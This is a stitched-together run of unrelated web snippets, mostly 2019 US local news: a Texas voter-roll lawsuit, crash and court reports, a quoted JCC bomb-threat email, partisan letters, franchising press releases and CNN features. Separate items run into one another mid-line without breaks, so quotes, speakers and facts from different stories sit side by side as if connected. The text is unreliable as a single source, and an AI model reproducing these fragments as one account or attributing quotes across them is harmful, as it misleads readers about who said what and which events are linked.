Deliverance has performed rather well, as said with two million copies sold across PC, PS4 and Xbox One, and we cant wait to see more coming from the dev team.We are not where I want us to be, nor where the Navy needs us to be, Carter said. The Naval Academy must produce leaders that not only treat others with dignity and respect, but also demand the same of those they lead.Galveston, TX (77553)

Today

Sun and clouds mixed. A stray shower or thunderstorm is possible. High 89F. Winds S at 10 to 20 mph..

Tonight

A few clouds. Low 83F. Winds SSE at 10 to 20 mph.News

State leaders want out of voter review lawsuit

Cheryl Johnson

GALVESTON

Three top state officials have asked a federal court judge to remove them from a lawsuit claiming they and county officials conspired to remove legal residents from Texas voter rolls.

In a motion filed Monday with the U.S District Court for the Southern District of Texas in Corpus Christi, Gov. Greg Abbott, Secretary of State David Whitley and Attorney General Ken Paxton argued claims against them in a lawsuit by several civil right groups should be dismissed because state officials lack the authority to remove people from voter rolls.

Defendants are not responsible for canceling any voters registration for non-citizenship, the group wrote. That role belongs to the county.

If the judge granted the request, the only remaining defendants in the lawsuit would be three county-level officials, including Galveston County Voter Registrar Cheryl Johnson.

The motion to dismiss is the latest in an ongoing controversy over a list of registered voters Whitley sent to counties Jan. 25 advising those named might not be U.S. citizens.

In some cases, despite objections from voters rights groups, county election officials began mailing letters demanding registered voters prove their citizenship or be removed from voter rolls.

On Jan. 28 and Jan. 29, Johnsons office mailed 169 letters, only to be told Jan. 29 that hundreds of names should not have been on the original list sent to the county. Of the people to whom letters were sent, 58 were told they no longer had to prove their citizenship.

The voter registrars office has stopped mailing letters and has not removed anyone from the countys voter rolls, Johnson has said.

Over the following week, Johnson was named in two lawsuits filed in federal court seeking to block the citizenship reviews. The first lawsuit was filed in Corpus Christi, the second in Galveston.

The latter lawsuit claims the three state leaders were part of a conspiracy to remove legal residents from voter rolls. While not all of the 95,000 people on the list Whitleys office sent out have been identified, the lawsuits claim that many were naturalized citizens who were legal voters and were wrongly flagged because of out-dated driver license information.

The motion to dismiss argues none of the three state officials had done anything to be sued over.

Attorney General Paxton did nothing other than send out a press release and other communications confirming that he plans to fulfill his duty to investigate claims of voter fraud, the motion said. Governor Abbott did nothing other than make statements regarding this work.

By identifying people who were weak matches in the states voter registration database, Whitley was fulfilling his statutory obligations, the motion said.

Johnson has similarly said she was simply performing her duty by mailing letters to voters identified by the secretary of state.

Johnson has yet to file a response in either of the two lawsuits shes named in. She did not return a phone call to The Daily News on Tuesday.

Galveston County commissioners on Monday gave the county legal department the OK to represent Johnson in the lawsuits, officials said.

No hearing date has been set for the motion to dismiss the Corpus Christi lawsuit. A hearing is scheduled for Feb. 22 on the Galveston lawsuit.A celebration of life for Barabra Zackery, 79, of Gainesville, will be held at a later date. A full obituary will be published when service times have been scheduled. Barbara passed away on June 15, 2021 in Gainesville. You may sign the online registry at www.geojcarroll.com.



Have any questions? Please give us a call at 907-352-2250She said the center received another bomb threat two months later on March 14, 2017, with a subject line Tomorrows bloodbath. The email stated: Ive planted a pipe bomb hidden at your JCC that is going to detonate at a busy hour of the day after the 9 a.m. late opening. I will detonate it at the right time and then I will shoot everyone of you.Democrats hurting party with resignation demands

The Democratic Party is shooting itself in the foot! Its sad that Gov. Ralph Northam was once, 30 years ago, insensitive and disrespectful toward the black race. The civil rights movement has worked to change peoples attitudes and behaviors over the years.

So shouldnt we all be glad when we can see from someones life that the movement has succeeded, and that person has worked for equal rights and respect for all during his whole career?

If Democrats respond to Republicans blithe blowing-off of fraud, shady financial dealings, murder, infidelity and pedophilia by demanding of all its officeholders that they have done nothing at all objectionable in their whole lives, they will have extremely few left.

Now Virginia Attorney General Mark Herring has felt compelled to reveal that, back in the 1980s, he went to a costume party dressed as a black rapper and darkened his face.

If we truly believe that we are all equal, then a white person using makeup to match the skin tone of the person he or she is imitating should have no significance, any more than donning a wig, or a bald cap, or body-padding, or whatever it takes to look like the model youve chosen.WITH A reported 3 million Venezuelans having left their country to escape the tyranny of dictator Nicolas Maduro, the Trump administration has recognized Juan Guaido as the interim president of the once prosperous South American country.

Not surprisingly, most Democrats have remained mum on Trumps recognition of Guaido. Their hate for the president and their allegiance to the resistance prevents them from publicly supporting Trump, even though most other democratic governments have followed Trumps lead.

Although Democrats are generally sympathetic, as they should be, with those seeking asylum in the United States, most have also remained silent on the reason a significant number asylum-seekers at our southern border are from Nicaragua.

Like the Venezuelans, they are fleeing tyrannyat the hands of Nicaraguan dictator Daniel Ortega.

Perhaps it should not be surprising that many Democrats are loath to support publicly Trumps Venezuela policy or to recognize Ortegas contribution to what they have described as a humanitarian crisis at our border with Mexico. Particularly now that those on the far left of the party are proud to call themselves socialists.

After all, Maduro and Ortega are both proud socialists as well.When a publisher first got in touch with Spotsylvania County resident Tee Marie Hanible about writing a book about her experiences, she balked.

It wasnt that the former Marine gunnery sergeant was nervous about the challenge.

After all, Hanible had already survived the mean streets of Chicago, a military career that included combat service and a challenging season as a team mentor on the max-challenge reality show American Grit.

When they first asked me to tell the story of my life, it took a while to come to grips with the thought of putting myself out there, said Hanible at her home in Spotsylvania. Everything youve ever done comes out, the good and the bad.

But facing and overcoming trials and tribulations are something Hanible knows all too well. So she eventually signed on to write The Warrior Code: 11 Principles to Unleash the Badass Inside of You. Its being published this month, written with Denene Millner.

Hanible uses the book to mix her life story and personal challenges with chapters that each principles readers can use to unleash their full potential. And at the end of each, there are Warrior Work pages with a series of introspective questions.BY RICHMOND TIMESDISPATCH

A 29-year-old King George County man was killed Tuesday morning in a crash on Interstate 95 in Hanover County, authorities said.

Virginia State Police said Brendon J. Cooke died in the multivehicle crash on southbound I95 at mile marker 86. State police responded to the scene about 5:40 a.m.

Cooke was driving a 2003 Ford Mustang south on the interstate when he struck the rear of a 2014 Honda Accord, authorities said.

Cookes vehicle struck a guardrail, forcing it back into the roadway in the center lane of travel, state police said. A 1994 Ford Ranger then struck Cookes Mustang and that collision forced the Ranger onto its side, police said.

A southbound 2016 Volvo tractor-trailer then struck the Mustang and the Ranger, forcing the Volvo into a barrier, police said.

Another tractor-trailer on the scene sustained a flat tire as a result of debris from the crash, but that truck was not involved in the crash itself, police said.

The drivers of all four vehicles were wearing seat belts, police said. A 20-year-old Fredericksburg man who was driving the Ranger was taken to VCU Medical Center with serious injuries, police said.A California man who permanently disabled a Stafford man while driving drunk in the county in 2017 was ordered Tuesday to serve a year in jail.

Zayne Michael Dishion, 25, of Bishop, Calif., pleaded guilty to misdemeanor hit and run and DUI in Stafford Circuit Court. He was sentenced to a total of 24 months in jail, with 12 months suspended.

Because defendants generally only serve half of their misdemeanor time, Dishion will be eligible for release in six months.

A felony charge of DUI-maiming is still pending, but will be dismissed if Dishion finishes paying the $100,000 he owes the victim by 2026. Dishion paid $25,000 Tuesday and was ordered to pay at least $1,000 a month until the debt is paid in full.

According to the evidence, Michael DeRose was traveling south on U.S. 1 early April 15, 2017, when a truck driven by Dishion pulled directly into his path. DeRose had been spending time with friends and was in the midst of what should have been a five-minute ride to his home.

DeRose, an appliance repair technician at the time, has had multiple surgeries as the result of the incident and is permanently disabled, Commonwealths Attorney Eric Olsen said.On Feb. 8, a 25-year-old Baltimore man entered the lobby at Frederick Douglass and allegedly shot 56-year-old special education assistant Michael Marks twice in the torso. The suspect, Neil Davis, had come to the school to confront Marks about disciplining a family member who is a student at the school, according to charging documents. Davis has been charged with attempted first-degree murder and firearm violations.Keep the conversation about local news & events going by joining us on Facebook, Twitter and Instagram. Recent updates from The News-Post and also from News-Post staff members are compiled below.More information

On top of a possible plastic foam ban, the General Assembly is also evaluating a prohibition on single-use plastic straws this session.

Del. Sara Love (D-Montgomery) introduced HB 134, which would limit restaurants to providing a plastic straw to a customer only upon request. The proposed change would take effect on Jan. 1, 2020, and would not apply to drive-thru windows.

The proposed change would be similar to bans and restrictions on single-use plastic straws in at least 15 cities in the U.S.

Nearby Washington, D.C., is among the cities that restricts plastic straw use. Starting last October, restaurants and other food service locations were required to switch to compostable or reusable straws and stirrers.

Past studies in Maryland, however, show the state is not swimming in plastic straws.

Plastic straws account for a relatively small percentage of the state's waste, according to a statewide waste characterization study commissioned by the Maryland Department of the Environment in 2016. Straws made up only a portion of the 3.9 percent of "other/composite" plastics in the municipal waste stream.

Due to their low volume, if straws were to be removed from the state's waste stream, there would be little to no impact on disposal costs or local revenues from landfill operations, according to the Department of Legislative Services' fiscal analysis of the bill.

Reducing the availability of straws at restaurants is also expected to have a "minimal" effect on small businesses, according to the analysis.

Love will present her bill to the House Economic Matters Committee on Wednesday.

 Samantha HoganKrystal Redesigns Fast-Food Experience in Atlanta with Two Prototypical Restaurants

February 13, 2019 // Franchising.com // ATLANTA - The Krystal Company announces the reopening of the Krystal restaurants located at 415 Moreland Ave. in Atlanta and 6405 Jonesboro Rd. in Morrow after complete scrape and rebuilds that razed the existing buildings and replaced them with new prototypes. The redesigned restaurants opened for business on the first week in February with grand openings planned for mid-March. The projects began in 2018, temporarily relocating existing employees to other Krystal locations and utilizing local contractors for the projects. The Atlanta location is 55 years old while the Morrow restaurant originally opened 41 years ago. Atlanta is Krystals largest market and home to its corporate headquarters.

Atlanta is a core market for Krystal as we continue to revitalize our legacy brand, CEO Paul Macaluso said. We made conscious decisions to remain and rebuild on our original sites to continue Krystals over 40-year tradition of serving Atlanta from these iconic locations.

The redesign is part of a strategic initiative to improve the dining experience for guests and adapt to changes in consumer behavior, according to Macaluso, who says Krystal is experiencing more drive-through business, especially for late-night and breakfast. These stores are the latest version of the Iconic Series prototype with expanded grill capacity to serve higher volumes at a faster pace.

Architecturally, the Moreland Ave. store features a metal open ceiling structure and is bigger than other prototypes to handle the anticipated increase in sales. Both stores have expanded kitchen and facilities layouts that maximize efficiency and employee awareness. Design elements include a vibrant color package highlighting the Krystal name in red, a heritage color for the brand, as well as local community graphics. The prototypes also feature energy saving components including LED lighting, recycled seating and minimal building materials. The buildings are square like Krystals famous burgers.

Atlanta is home to 62 Krystal restaurants, out of more than 350 across the Southeast (including franchises). Krystal plans to scrape and rebuild more locations in Atlanta and throughout Georgia over the next two years, with redesigns planned in 2019 for Griffin, Columbus, Covington and Conyers. Krystal opened a new store in Tifton in September 2018. Redesigned stores are generating sustained sales volume lifts of 70-80 percent with average staffing increases of 66 percent, and Macaluso expects comparable results in Atlanta.

Forty percent of Krystal restaurants are over 40 years old. The company will redesign 75-100 restaurants over the next five years, representing approximately 40 percent of Krystals corporate portfolio.

About The Krystal Company

Founded in Chattanooga, Tennessee, in 1932, The Krystal Company is the original quick-service restaurant chain in the South. Its hamburgers are still served fresh and hot off the grill on the iconic square bun at over 350 restaurants in 11 states. Krystals Atlanta-based Restaurant Support Center serves a team of 6,000 employees. For more information, visit krystal.com.

Media Contact:

Laura Mansfield

APR

The Tombras Group

+1 (865) 599.9968

lmansfield@tombras.com

SOURCE The Krystal Company

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DisqusHarcourts and Glen Coutinho to Open Flagship Office in Beverly Hills, Los Angeles

February 13, 2019 // Franchising.com // Leading global real estate franchise group, Harcourts International, has announced the expansion of the growing Harcourts USA network. Global real estate pioneer, Glen Coutinho, has joined the Harcourts USA team as Director of Growth & Training, for the Pacific Region, and will become owner of a new office in Beverly Hills.

We are very pleased to welcome Glen to the Harcourts group, said Harcourts International Managing Director Mike Green. Glen is the consummate real estate professional, a great guy, and someone who embraces our Harcourts values. His reputation for providing exceptional client service and continually surpassing expectations is well-known. He has been a good friend of our Group for more than 30 years so to finally have him join the Harcourts team and for us to have the opportunity to work with him is exceptionally exciting."

Combining Glens professionalism and expertise with the Harcourts brand is going to be a very exciting development for us in the Los Angeles market.

With a career spanning over 30 years, Coutinhos client service skills are widely recognized, and he is an in-demand speaker and auctioneer. He is a director of RT Edgar Boroondara, in Melbourne, Australia, and has been amongst the top 10 real estate agents in Australia for the past six years running. In Australia, Coutinho is a licensed auctioneer and has conducted over 8000 auctions to date in his career.

As a keynote speaker for Harcourts Australia and Harcourts New Zealand events, Coutinho sees this new chapter as an extension of a long relationship with Harcourts owners Mike & Irene Green and Paul Wright.

With two of my sons recording music in LA, the opportunity to work with an established brand with people I already know and trust here in the USA was a simple fit, said Coutinho.

I am a customer service fanatic and I enjoy having the same values as the company. The core value of People First is one that resonates with me at the heart of everything I do, in my professional and person life.

Coutinho's new book The People Lover will be released internationally in 2019.

Coutinho is the director of the new office located on Camden Drive in Beverly Hills, one street from the iconic Rodeo Drive, which focuses on selling prestige property and the use of auctions for non-distressed properties. He will be taking over from Alex Duk, who will be a partner in the business along with Deanna C D'Egidio, Krystle & Laurent Bijaoui. Joining them are Coutinhos daughter Brooke Coutinho and Amy Perceval who have been with him for the last five years in the business.

Together with his wife Simonne, and children Brooke, Jack, Billy, Mason and Jules, the family has made the move to live in Beverly Hills, Los Angeles.

About Harcourts International

Harcourts has been in the real estate business since 1888. With over 900 offices in nine countries, Harcourts International is one of the fastest growing real estate groups in the world.

Harcourts offers a full range of real estate services, specializing in residential, commercial and rural property sales as well as property management services. Harcourts works closely with several affiliate groups including Mortgage Express, Landmark Harcourts, Luxury Property Selection, NAI Harcourts and Harcourts Complete to offer clients a comprehensive real estate solution.

Please direct all media enquiries to:

In Australia

Dana Paxton, Senior Communications Manager, Harcourts International, dana.paxton@harcourts.net or +61 416 792 364

In USA

Ben Brady, Regional Director, Harcourts USA, ben.brady@harcourts.net or +1 949 632 8995

Online: https://content.harcourts.com.au/news/office-beverly-hills

To learn more about Harcourts Auctions, visit http://www.harcourtsauctions.com/

About Harcourts USA

With over 900 offices in 10 countries, Harcourts International is one of the fastest growing real estate groups in the world.

Harcourts offers a full range of real estate services, specializing in residential, commercial and rural property sales as well as property management services. Harcourts works closely with affiliate, Luxury Property Selection to offer clients a comprehensive real estate solution.

In 2008, Harcourts launched its charitable arm, the Harcourts Foundation to provide support that helps, grows and enriches our communities. This year, Harcourts celebrated its 130th year anniversary.

Please direct all media inquiries to Emilee Koerner, PR Coordinator at Harcourts USA: Emilee.koerner@harcourts.net

SOURCE Harcourts

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DisqusBIGGBY COFFEE Brewing Change with this Bar Saves Lives

BIGGBY COFFEE Launches Second Annual National Food Bank Initiative

February 13, 2019 // Franchising.com // East Lansing, MI - February 18-24 BIGGBY COFFEE will be partnering with Michigan native Kristen Bell and This Bar Saves Lives, the company she co-founded with fellow partners Ryan Devlin, Todd Grinnell, and Ravi Patel, for their second annual national food bank initiative. BIGGBY COFFEE looks forward to this initiative as a way to provide meals to their neighboring families in need. They are very excited about their partnership with This Bar Saves Lives, as this will allow them the opportunity to reach even more families throughout the globe.

As customers visit participating BIGGBY COFFEE locations, they have the opportunity to donate funds to help feed families in need. Even a $1 donation can provide multiple meals to families in need. To thank them for their generosity, for every $1 donated BIGGBY COFFEE will be offering a $1 coupon toward their next visit. The money donated to each BIGGBY COFFEE will go to a food bank agency within the stores local market, so customers can rest assured that the money they donate will remain in their community.

With a purpose that we exist to love people, BIGGBY COFFEE is making great efforts to help support people in building lives they love and sometimes that means providing basic food necessities. Brewing Change food bank initiatives allow BIGGBY COFFEE to make a difference in the communities they live, work, and play.

To make a difference globally, BIGGBY COFFEE has partnered with This Bar Saves Lives, a delicious snack company that sends life-saving food to children in need around the world with every purchase. These bars will be featured in stores throughout this period to reward those that donate $5 or more. Partnering with This Bar Saves Lives gives BIGGBY COFFEE the opportunity to touch even more hearts and homes, widening their scope of reach to a global level.

When $5 or more is donated, customers will receive a free This Bar Saves Lives snack bar. With every bar, BIGGBY COFFEE and their customers help This Bar Saves Lives to provide dozens of meals to children in need in Haiti and part of Africa. As an added bonus, customers will receive a postcard featuring a quote from and image of Kristen Bell, co-founder of This Bar Saves Lives, and further information on the nationwide campaign being run by BIGGBY COFFEE.

During the last food bank initiative, BIGGBY COFFEE locations throughout the nation donated $29,764 to local food banks. This year, theyre hoping to raise even more than that, on top of the number of children in Haiti and Africa that will be helped through the partnership with This Bar Saves Lives.

For more information, visit your local BIGGBY COFFEE and ask how you can be a part of this life-saving effort!

About BIGGBY COFFEE

BIGGBY COFFEE, East Lansing, Mich.-based, was started with a single store on March 15, 1995. One year later, and on the cusp of opening a second location, Bob Fish and Michael McFall, on a handshake and $4,000, decided to franchise the concept. BIGGBY COFFEEs cultural values of Make Friends, Have Fun, B Yourself, and Share Great Coffee help coffee-lovers and the coffee-curious alike benefit from a less pretentious and fun approach to the standard gourmet cafe paradigm. Besides connoisseur-worthy drinks with pronounceable names like Teddy Bear and Caramel Marvel, BIGGBY baristas provide a unique experience focused on brightening their customers day and supporting them in building a life they love. The Big B on the orange background caught on, and today BIGGBY COFFEE has 277 cafes open or under contract across 10 states including: Michigan, Ohio, Indiana, Illinois, South Carolina, Wisconsin, Kentucky, Florida, Texas, and New Jersey. In 2018, BIGGBY launched an Area Representative Program and currently has 8 area representatives in 6 states.

Media Contact:

Nikki Robertson

517-980-0995

press@biggby.com

SOURCE BIGGBY COFFEE

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DisqusWhen the topic of international development comes up during strategic planning sessions, many franchisors are quick to dismiss the opportunity, citing costs or potential untapped white space in the U.S. market. Such lack of clarity can be a serious problem 'for franchisors embarking on a rapid growth plan, often resulting in mistakes that can put the franchise at risk. This article covers five common mistakes made by international franchisors and provides suggestions for avoiding or mitigating them.

Mistake #1: Using a one-size-fits-all strategy

This is one of the most common pitfalls for franchisors looking to expand in global markets. Take pricing for example. A product pricing model that works in Germany may not work in Norway or Sweden, even though all these markets fall under European Union laws. This also applies to branding the franchise, fees charged to franchisees, and pretty much all aspects of a franchise development strategy. Denny's is a case in point. Although Denny's is known for its freestanding restaurants in the U.S., the company has a more flexible footprint for international locations and has opened in malls, casinos, hotels, and airports. And in Central America, Denny's restaurants are 5,000 square feet, which is 1,000 square feet larger than in the U.S., since restaurants in that region often cater to larger families and groups.

Conclusion: When it comes to international expansion, there is no "one-size-fits-all" solution. Each venture must be carefully structured to reflect the needs of the business, the target market, and the franchise partner.

Mistake #2: Inadequate vetting of each planned market expansion

This potential pitfall is not limited to understanding consumer demand for a franchise's product or service. Failure to understand acceptable cultural norms around soliciting franchisees, competitive fees, and an ill-informed understanding of in-country direct and indirect competition can often lead to challenges in a successful global expansion. Take allocation of fees for example. It is important to know about what is the "right" level fee to be charged. For instance, in Japan, while master franchising may be the most common alternative, large up-front franchise fees often deter investors from signing up, no matter how successful the franchise is.

Conclusion: As a rule of thumb, fees should be determined only after estimating associated expenses. With that in mind, costs of closing an international transaction can be significantly higher than for a domestic transaction.

Mistake #3: Lack of understanding around the appropriate development model

Most studies of international franchisors indicate that 80 to 85 percent of U.S. franchisors use master franchising as their typical expansion approach. Lately, however, we have been hearing a lot of U.S. franchise development executives complaining that too many master franchisees were not succeeding. In fact, close to about 20 percent of international master franchisees fail to open a single unit.

While a master franchising strategy could work for smaller overseas markets, where a franchisor would have to scout for a single master franchisee, larger markets such as the U.K. or Brazil may need a more fragmented approach toward development. Subway, for example, has regional developers in markets like France and Germany, with market sizing for each developer based on population density and consumer expenditure patterns. On the other hand, offering an entire region to one master franchisee is not uncommon in some areas. McDonald's recently signed Terra Firma Capital Partners Ltd. as its master franchisee for the entire Nordic region, i.e., Denmark, Sweden, Norway, and Finland, which currently includes 435 restaurants.

Conclusion: The key to international success, beyond having a strong business concept, is also to ensure that the overall structure adopted in each country is one that suits the individual business.

Mistake #4: Not checking on the availability and maturity of franchise financing

Depending on the country, franchisors may find themselves in international markets where lenders must be educated about franchise financing. Take Australia, for example. There are four big banks where most financing is concentrated, and many smaller regional lenders that are not as sophisticated and focus on their specific geographies. The four big banks offer a franchise accreditation program of some kind that recognizes the strength of a franchise brand and business model to generate strong cash flows for a new outlet. While such programs are common at the big four, they have only recently begun to be featured at second-tier Australian banks.

Conclusion: Franchisors would be well-advised to find a financing partner in countries like Australia that can best help in navigating the local waters and create structured relationships with large lenders.

Mistake #5: Not understanding the cultural risks

Whether it's crossed legs at a meeting or an informal email response, the simplest of gestures can mean the difference between landing an overseas deal or going home with nothing to show for your trouble. One U.S. company found out the hard way when it wanted to open a factory in an Asian country where the majority of the workforce was Buddhist. They managed to learn that a statue of Buddha had to be erected at the main entrance of the plant so employees could bow in respect as they came in. On the day of the opening ceremony, one of the guests observed that the statue at the entrance was visible from the bathrooms in the factory. Local workers were shocked by the disrespect that the U.S. company had shown with such a design and refused to enter the factory. The company had to spend a lot of money on reconstruction, a loss of capital that was avoidable.

Conclusion: International expansion has opened numerous doors for small businesses looking to uncover new streams of revenue. But to succeed globally, business owners must successfully navigate the new territory of cultural divides.

Among 480 small and medium-sized enterprises from 12 countries surveyed by the Economist Intelligence Unit in 2014, a majority foresaw expanding their business internationally as the future for their companies. However, very few understood the importance of finding the right advisory partner (or partners) to help them navigate the choppy waters of international growth.

Ritwik Donde is a senior research analyst at FRANdata, an independent research company supplying information and analysis for the franchising sector since 1989. He can be reached at 703-740-4700.The flooding that ravaged Ellicott City and the surrounding area last spring was devastating for countless Maryland families and small businesses, Cardin said in a statement. These funds will help Frederick and Washington counties rebuild in the wake of that disaster, and come as a much-needed investment in all those who depend on our roads and highways to commute to work and school.Kevin Darrell Lewis, 40, was arrested and charged with two counts of false report of mass violence at an educational property after deputies say he called in a bomb threat to North Bumbcombe Elementary School.ASHEVILLE, NC (FOX Carolina)- The North Carolina Department of Public Safety says that the Division of Adult Correction and Juvenile Justice is searching for an offender that was serving part of his sentence outside of prisonGREENVILLE, SC (FOX Carolina) - Troopers with the South Carolina Highway Patrol said one person has died and another is in the hospital after a crash in Greenville County.Johnson said he plans to stop by Chinese Boys to lend his support, and he wants to make sure Youngquists family knows that the County Council is there for them, and that we are one family, and that were going to rally around the family.Please either update your browser to a recent version or update your Flash plugin.(CNN) -- By combining her two passions, Melody Hames produces some of the most unexpected and spectacular designs in the equine world.

Dubbed the "Horse Barber," the design graduate has set up her own business clipping creative artwork into the hair of horses.

"They've all got a unique meaning," Hames told CNN Sport. "I've always been into art and design anyway so I love to do it."

READ: World's most beautiful race courses: From beaches to frozen lakes

'I had never done it before'

The unusual passion was borne from an early age when Hames taught herself how to clip her own pony in a traditional manner.

Her much loved pet suffered from Cushings disease --meaning its coat didn't shed properly -- so she would spend her time tending to it out of necessity.

Friends would then ask her to clip their horses and demand spread through word of mouth.

Visit CNN.com/Sport for more news, features and video

Having identified an opportunity to create a traditional clipping business, one of her clients then requested a creative cut.

"I had never done it before but I've got the attitude of just saying yes and worrying later. So we did it and she put it online," Hames said, in a phone interview from her home in Greater Manchester, England.

"All of a sudden more and more people started asking so that's how it started."

READ: Racing's top global powerhouses: From royal families to Irish farms

'Inspiring' others

Having set up the business six years ago, her work was eventually scouted by a clipping company in America -- Andis -- who invited her to showcase her skills and help train others.

After two-years stateside, Hames returned to the United Kingdom where she continues her educational program.

"It's been an incredible journey, it's gone further than I ever thought it would," she said.

"The key really is the educational side of it. I want to share my knowledge and share my craft with others. To inspire others is a big part of what I enjoy doing."

Hames credits social media for helping her business develop. As more photos of her work were shared online, the more her popularity grew and the more opportunities she was presented with.

She has been clipping full-time for four years.

War Horse

Last November, Hames was invited to create a design to mark the armistice centenary -- 100 years since the end of World War I -- an honor she didn't treat lightly.

"I spent about six weeks on that project," she said.

"I went down to the Imperial War Museum in London and I went to the library to read. I did quite a lot of research."

The physical clip itself took 10 hours to complete, split into two five hour sessions spread across two days.

'That one means a lot'

The entrepreneur struggles to pick a favorite design but some works certainly mean more to her than others.

In March 2018, she did a charity clip for MacMillan Cancer Support. The "Gingerbread Horse'" was created in memory of a close friend that had passed away.

"That one meant quite a lot," she said. "I think a lot of people were able to connect with that one as well."

Most of Hames' business comes from individual requests, with people coming to her with a design already in mind -- this sometimes throws up strange and difficult requests.

"It might sound a bit odd but one girl asked me if she could have chains on her horses hind haunches," she revealed.

"It's the only one where I thought 'How am I going to do this'? It was very intricate, and it took me by surprise."

Safe to say that both parties were happy with the outcome in the end.

READ: Pegasus World Cup: Where Snoop Dogg meets $16 million horse racing

Safety concerns

Hames is confident her work is entirely safe and holds the horses' well-being at the forefront of her work. She believes the stigma around artistic clipping is borne from a lack of understanding.

"A lot of people who speak negatively about it don't actually realize that the horses they see on TV are normally clipped." she said, referring to racehorses.

"I just want to educate people that horses have been clipped for 100 years at least, probably a lot longer. It just so happens that mine stand out."

The-CNN-Wire &  2019 Cable News Network, Inc., a Time Warner Company. All rights reserved.(CNN) -- Pornography may soon be considered a public health crisis in Arizona -- depending on the fate of a resolution in the state.

Arizona state Rep. Michelle Udall, R-Mesa, introduced a resolution declaring "pornography is a crisis leading to a broad spectrum of individual and public health impacts."

The resolution says pornography "perpetuates a sexually toxic environment that damages all areas of our society."

CNN has reached out to Udall for comment, but has not heard back. But in reports on local media, she cited the effects of excessive erotic images on the society.

"Like the tobacco industry, the pornography industry has created a public health crisis," Udall told lawmakers, according to the Arizona Republic. "Pornography is used pervasively, even by minors."

The resolution passed a committee vote along party lines and now moves to the Arizona House, where Republicans hold a slim majority.

Opponents agree that while there are dangers in excessive porn, the bill misses the underlying problem.

"If we really want to look at this, we should start with education. It's embarrassing that we are one of the states that does not have medically accurate sex education. In testimony, they were trying to blame everything on pornography. That is a stretch," said Democrat Rep. Pamela Powers Hannley, who is sponsoring a different bill, HB2577, that focuses on medically accurate sex education.

"I don't disagree that the bill needs more teeth," said Rep. Jay Lawrence, R-Scottsdale, who ultimately voted for the measure, according to the Arizona Republic. "That is our goal."

The debate nationwide

National organizations have been debating how to classify pornography for years.

In a 2012 edition of the Centers for Disease Control and Prevention's Crisis, Emergency, and Risk Communication manual (PDF), crises are described as "time-sensitive" and crisis communication tends to occur when "an unexpected and threatening event requires an immediate response."

The CDC has told CNN it "does not have an established position on pornography as a public health issue. Pornography can be connected to other public health issues like sexual violence and occupational HIV transmission."

The Republican party voted to add an amendment adding pornography as a "public health crisis" to the party's platform in 2016.

The National Center on Sexual Exploitation agrees with the Republican Party, said Dawn Hawkins, the center's senior vice president and executive director.

Hawkins said that some youth view pornography before they reach puberty, and it may be educating them about sex, which she said is disturbing because about 88% of porn videos depict physical aggression, according to a 2010 study published in the journal Violence Against Women.

Emily Rothman, an associate professor at the Boston University School of Public Health, argues it is not so simple.

"I think there are 'public health implications' of pornography," Rothman said. "But just like anything else, it matters what type of pornography we are talking about, who is watching it, why they are watching it, what they do with that experience, and how it interacts with any pre-existing problems they have going on, such as a propensity for violence."

Utah was the first state in the nation to declare pornography a public health crisis in 2016, but measures have been passed in 11 other states since.

Utah's resolution has no punishing powers; it doesn't specifically ban pornography in the state.

Instead, a spokesman for Utah's Gov. Gary Herbert said, resolutions against pornography are intended to increase awareness and education.

The-CNN-Wire &  2019 Cable News Network, Inc., a Time Warner Company. All rights reserved.A 40-year-old child sex abuse case in South Carolina has resulted in the arrest of a youth pastor in Elmore, Alabama. The suspect is also accused of sexually abusing a minor while living in Baldwin County in 1974. The alleged victim in that case reached out to Robertsdale Police last October and an investigation was started. Two other victims were identified, living in South Carolina and authorities there are now pursuing charges.

Investigators believe 63-year-old Peter William Cooper sexually abused at least three young girls in Baldwin County and two South Carolina counties between 1974 and 1976. Investigators caught up with Cooper last week in Elmore County, Alabama and was extradited back to Spartanburg, South Carolina to face charges there on one of those cases. It all began with the first alleged victim contacting Robertsdale Police.

Once we had this case put together, we consulted with the Baldwin County District Attorneys Office and they researched it and unfortunately found that we could not prosecute this case because of the laws being different and the statute of limitations at that time, explained Lt. Rex Bishop with Robertsdale Police.

South Carolina had no statute of limitations law in effect in 1976 when the alleged assault happened there. Police said Cooper was a youth intern pastor at a church there and the offense happened at the victims home during a bible study. Investigators said Cooper admitted he apologized to the women after they found and confronted him through social media, but that he couldnt remember all the details of the encounters.

Robertsdale Police said Cooper was living there in 1974 and was volunteering as a youth minister at a local church. In the Baldwin County case, investigators said the alleged assault was not associated with the church or through his volunteer work there. Investigators said its rare a case as old as this one finds resolution and commend the victim for coming forward more than four decades later.

Once she found and once she decided she had the courage to come forward, and she started looking into social media events and found that he was still involved with activities around children, it became very important to her to make sure that she protected anyone else from becoming a victim, Bishop said.

Investigators are hoping that if there are any other alleged victims of Peter Cooper, they will now come forward. For now, Cooper is being charged for Lewd Act on a Minor in South Carolina since that was the applicable law in 1976. Alabamas laws have since changed and there is no longer a statute of limitations on sex crimes here.MOBILE, Ala. (WALA) -- New details about the death of Mobile Police Officer Sean Tuder were released Tuesday afternoon during a hearing for accused killer Marco Perez.

Perez, 19, was charged with capital murder after police said he shot and killed Tuder at the Peach Place Inn in West Mobile on Sunday, January 20.

In court Tuesday, Mobile Police Homicide Detective Jermaine Rogers took the stand to talk about MPD's investigation into the deadly shooting.

Rogers said Tuder received a tip from an informant that Perez was hiding at the Peach Place Inn. At the time of the shooting, Perez was wanted on several charges and had been on the run from police for weeks.

"The case will proceed to the Grand jury and once he's indicted out of the grand jury then we will have court dates. so we don't anticipate any coming up anytime soon," said Ashley Rich, the Mobile County District Attorney.

The detective said Tuder left his home in a personal vehicle and called to ask other police officers to back him up at the Peach Place Inn. Rogers said Tuder was dressed in blue jeans, a t-shirt, and was wearing a black jacket. He said the officer had his Mobile Police Badge on his belt.

According to Rogers, five surveillance cameras captured the events leading up to and following the shooting, but Tuder and Perez were off camera when the shots were fired.

The detective said the video shows Tuder arrive at the scene and immediately pull his gun out of its holster. Rogers said Tuder and Perez then got into a struggle with each other. During the struggle, Rogers said Tuder placed his gun back in the holster.

As the two continued to fight, the detective said Tuder and Perez moved out of sight of the surveillance cameras. During the time off camera, investigators said Perez pulled out a gun and shot Tuder three times. Police said Tuder was wounded in the back, right hand, left ear, and the left side of his chest.

After the shots were fired, Rogers said Perez ran back into view of the surveillance cameras, picked up a hat that was knocked off his head during the struggle, and ran into the woods.

Other officers arrived on the scene and captured Perez within minutes. Rogers said after Perez was in custody, he complained about being tazed and said, "I messed up. I messed up."

Rogers told the court that two witnesses and the police informant are willing to testify against Perez at trial.

At the end of the hearing, Judge Ben Brooks said the court found probable cause and sent the case to be heard by a grand jury. He also said Perez will remain in jail without bond.
